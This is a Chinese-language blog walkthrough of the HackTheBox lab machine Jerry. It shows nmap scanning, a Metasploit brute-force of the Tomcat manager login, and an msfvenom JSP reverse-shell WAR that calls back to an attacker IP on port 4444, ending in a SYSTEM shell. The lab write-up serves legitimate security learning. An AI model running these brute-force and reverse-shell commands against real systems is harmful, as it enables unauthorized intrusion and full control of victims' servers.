總算把 Cronos 那條攻擊鏈搞清楚了!!!
常常聽到 Port 53,原本以為它就只是「Domain 對 IP」這麼簡單的東西><
結果這次才真正搞清楚:原來 53 port 跑的 DNS,還藏著 Zone Transfer 這個可能洩漏大量 DNS 紀錄的功能 QQ
果然 Port 真的沒有想像中那麼簡單!xddd
前面三台靶機 Lame、Bashed、Cronos 都是 Linux——
但想想我們平常比較常接觸的個人電腦,很多其實都是 Windows。
那接下來就換個方向!
來看看 Windows 機器有哪些常見的攻擊面,又可以怎麼從掃描結果開始慢慢發現它們 👀
今天就要邀請我們的下一台靶機——Jerry!
那我們就趕快來看看它的模樣吧~~~
今天在 Jerry 機器拿到的 Target IP 是:10.129.136.9
拿到 Jerry 的 IP ,照我們之前練過的流程走一遍囉~
sudo nmap -sN 10.129.136.9
-sN: 只確認有沒有人在家,不掃 port。
看到 Host is up,確認在線上。
確認這台機器有回應之後,掃掃 port,看看有哪些門是開著的:
sudo nmap -p- -T4 10.129.136.9
-p-: 掃全部 65535 個 port,不只掃前 1000 個
sudo nmap -sC -sV -p 8080 10.129.136.9
-sV:版本偵測——Nmap 會跟每個服務「對話」,問出它是什麼版本-sC:跑預設腳本——Nmap 內建針對特定服務的自動調查問卷
怎麼讀這個結果:
| 欄位 | 意思 |
|---|---|
| PORT | 哪個 port,後面 tcp 是通訊協定 |
| STATE | 狀態(open 代表有服務在跑) |
| SERVICE | 大概是什麼類型的服務 |
| VERSION | 服務的具體版本號 |
掃完 Nmap,看到8080 port 開著——照 Day 4 的習慣,跑一遍思路:
先想清楚:這是什麼 → 有什麼東西是我感興趣的 → 可以用什麼工具 → 有機會能拿到什麼
這是什麼8080 常被拿來跑 HTTP 服務,而這台機器上跑的是 Apache Tomcat。Tomcat 是專門讓 Java Web 應用程式跑起來的Server—就像 Apache跟PHP的關係。
我感興趣的是什麼
/manager/html 或 /host/manager(Tomcat 內建管理介面,登進去就能部署程式)有機會拿到什麼
只要能登進 /manager/html或 /host/manager,就能上傳 WAR 檔案直接在伺服器上跑程式——幾乎等於直接拿到控制權。Tomcat 很常以高權限身份執行(SYSTEM 或 root),拿到後通常權限很大。
| 階段 | 做什麼 | 為什麼先做 |
|---|---|---|
| step 1 | 瀏覽器看預設頁面 + /docs/ 確認版本,查有沒有已知 CVE |
版本決定後面能不能利用漏洞 |
| step 2 | 敲 /manager/html 和 /host-manager,確認入口有沒有開 |
這是 Tomcat 的高價值入口,能上傳 WAR ,Tomcat會直接把它當應用程式跑起來。Tomcat 很常以高權限身份執行(SYSTEM 或 root)——shell 繼承服務身份,一拿到就是最高權限 |
| step 3 | 嘗試常見的預設帳密(tomcat:tomcat、admin:admin…) | Tomcat 的 tomcat-users.xml 預設帳密,很多人裝完沒改 |
| step 4 | 用 msfvenom 生成惡意 WAR → 上傳 → 拿 shell |
登進管理介面就能上傳 WAR,Tomcat會直接把它當應用程式跑起來。Tomcat 很常以高權限身份執行(SYSTEM 或 root)— shell 繼承服務身份,一拿到就是最高權限 |
Tomcat 的管理介面帳號會設定在 tomcat-users.xml 裡~如果管理員自行設定了弱密碼、常見密碼,或沿用了不安全的帳密設定,就可能成為攻擊入口 QQ
所以遇到管理介面時,可以先手動試幾組常見的弱密碼或預設組合>< 如果沒中,再考慮使用工具進一步測試!
直接瀏覽器打開:
http://10.129.136.9:8080/

Tomcat 預設頁面就會顯示版本資訊。如果管理員把預設頁面換掉了、看不到版本,可以去 /docs/ 確認:
curl -s http://10.129.136.9:8080/docs/ | grep Tomcat
| 參數 | 意思 |
|---|---|
curl |
直接在終端機打 curl,叫電腦去幫我們開後面接的網址、把網頁內容抓下來 |
-s |
silent 模式,輸出比較乾淨 |
| grep Tomcat |
從輸出裡篩出包含「Tomcat」的那幾行,快速找到版本資訊 |

確認版本是 Apache Tomcat/7.0.88,跟 nmap 掃出來的一樣。
http://10.129.136.9:8080/manager/html

或是:
http://10.129.136.9:8080/host/manager

我們在http://10.129.136.9:8080/manager/html,有看到管理介面
Tomcat 的帳號設定放在 tomcat-users.xml 這個檔案裡—這是 Tomcat 安裝時自動建立的設定檔,預設就有幾組帳密,很多管理員裝完沒改過><
先手動試幾組最常見的:
| 帳號 | 密碼 |
|---|---|
| tomcat | tomcat |
| admin | admin |
試了 tomcat:tomcat——沒反應!
試了 admin:admin
出現
看起來都沒成功QQ
Metasploit內建很多現成的攻擊module~我們在這使用 tomcat_mgr_login module
這個module內建一份 Tomcat 預設帳密的 wordlist,會自動一組一組幫我們嘗試
打開 Metasploit 的操作介面
msfconsole


提示符號會從普通的 $ 變成 [msf] ,代表我們已經進到 Metasploit 的世界裡了 xddd
載入帳密爆破模組:
use auxiliary/scanner/http/tomcat_mgr_login

use : 載入模組的指令auxiliary/scanner/http/tomcat_mgr_login 是帳密爆破模組的完整路徑auxiliary : 輔助類module(幫我們做information gathering或測試)scanner/http : 代表這module是用來掃描 HTTP 服務的設定目標:
set RHOSTS 10.129.136.9

set RPORT 8080

set STOP_ON_SUCCESS true

| 指令 | 意思 |
|---|---|
set RHOSTS |
設定目標機器(靶機) IP(Remote HOSTS) |
set RPORT |
設定目標機器(靶機) port(Remote PORT) |
set STOP_ON_SUCCESS true |
找到一組成功的帳密就停下來,我們已經可以透過他登入管理介面哩 |
確認設定後,執行:
run

爆破出帳號密碼了,Username是tomcat、Password是s3cret
回到瀏覽器,打開:
http://10.129.136.9:8080/manager/html

Username輸入tomcat、Password輸入s3cret
成功登入管理介面!
我們往下滑,找找有沒有看起來可以上傳檔案的按鈕(讓我們有機會上傳WAR,拿 shell)
哇~~~找到了!!!
WAR 是 Tomcat 看得懂的程式檔——我們丟一個 WAR 上去,Tomcat就直接幫我們跑,不問我們裡面裝了什麼 xddd
我們把 reverse shell 包進 WAR 上傳,Tomcat 以為在跑正常程式,結果跑的是我們的後門——連線就會回到我們這裡了!
用 msfvenom 生成惡意 WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.205 LPORT=4444 -f war > shell.war
| 參數 | 解釋 |
|---|---|
msfvenom |
Metasploit 的 payload 生成工具,可以把 reverse shell 打包成各種格式 |
-p java/jsp_shell_reverse_tcp |
使用的 payload—生成 Java JSP 格式的 reverse shell,讓目標機器主動連回來 |
LHOST=10.10.15.205 |
我們你的 Kali IP,讓目標機器知道 reverse shell 要連回哪裡 |
LPORT=4444 |
我們拿來監聽的 port,目標機器會連到這個 port |
-f war |
輸出格式為 WAR 檔案,Tomcat 才認得出來 |
> shell.war |
把生成的內容存成 shell.war 這個檔案 |

確認shell.war有生成
先開 nc(netcat)等待靶機的 reverse shell 連回來:
nc -lvnp 4444
| 參數 | 意思 |
|---|---|
nc |
netcat,在我們自己的機器上開個 port 守著,等靶機的 reverse shell 連回來 |
-l |
listen 模式,等待目標機器(靶機)的 reverse shell 連進來(而不是主動去連目標機器(靶機)) |
-v |
Verbose,顯示較詳細的連線資訊 |
-n |
不做 DNS 解析 |
-p 4444 |
指定監聽的 Port 為 4444(要跟 msfvenom 裡的 LPORT 一樣) |

回到 Tomcat 管理介面,在 WAR 上傳區塊選擇 shell.war,按下 Deploy
上傳成功後,頁面會多出一個 /shell 的應用程式~點他!
回我們在監聽的終端機,會看到
我們拿到Shell,可以執行指令了
下 whoami
我們拿到的是 nt authority\system!我們之前都是先拿到 www-data,這次不一樣耶!!!
nt authority\system 是 Windows 最高權限耶!!!(震驚)
跟 Linux 的 root 有點像,但其實又不太一樣xddd
Linux 的 root:
是系統中的最高權限帳號,可以透過 su、sudo 等方式取得 root 權限——但實際上 root 是否設定密碼、能不能直接登入,還是要看系統設定><
Windows 的 SYSTEM:
不是人能登入的帳號!是 Windows 系統本身跑服務的身份——沒辦法用帳號密碼直接變成 SYSTEM,只能透過「某個以 SYSTEM 身份在跑的程式」去繼承它的權限><
Jerry 的 Tomcat 就是用 SYSTEM 在跑。管理員懶得另外建低權限帳號,直接讓服務用系統最高身份執行——所以我們的 WAR 跑起來,shell 繼承 Tomcat 的身份,直接就是 SYSTEM xddd
在 Linux,最高權限要自己爬上去。在 Windows,最高權限有時候是繼承來的!!!
所以以後打 Windows 靶機,拿到 shell 之後 whoami 的結果,絕對要比 Linux 多看很多眼 xddd
哇!!!還是覺得很驚訝🤣
第一次看到一攻入主機,就直接拿到最高權限了!
之前在學 AD 的時候,也有看到一些服務帳號,有時候管理者忘記把預設密碼改掉,結果就變成了弱密碼的攻擊面QQ
當時提到的「服務帳號」,是不是就有點像今天用來執行 Tomcat 的服務帳號呢?
如果是的話,服務帳號真的太太太危險了吧 😨
不但可能因為預設密碼沒換掉變成入口,
拿到帳號之後,如果它本身又擁有很高的權限,
能做的事情真的太多太多了……太可怕了 QQ
不過這次更誇張——
一進到我們的目標機器 Jerry,
直接就是:
NT AUTHORITY\SYSTEM
欸???🤣
都已經是最高權限了,
那我們還有什麼可以練習的呢?
明天就跟大家一起來看看吧!
看看到底還能從這台 Jerry 挖出什麼東西 👀
明天見啦~~~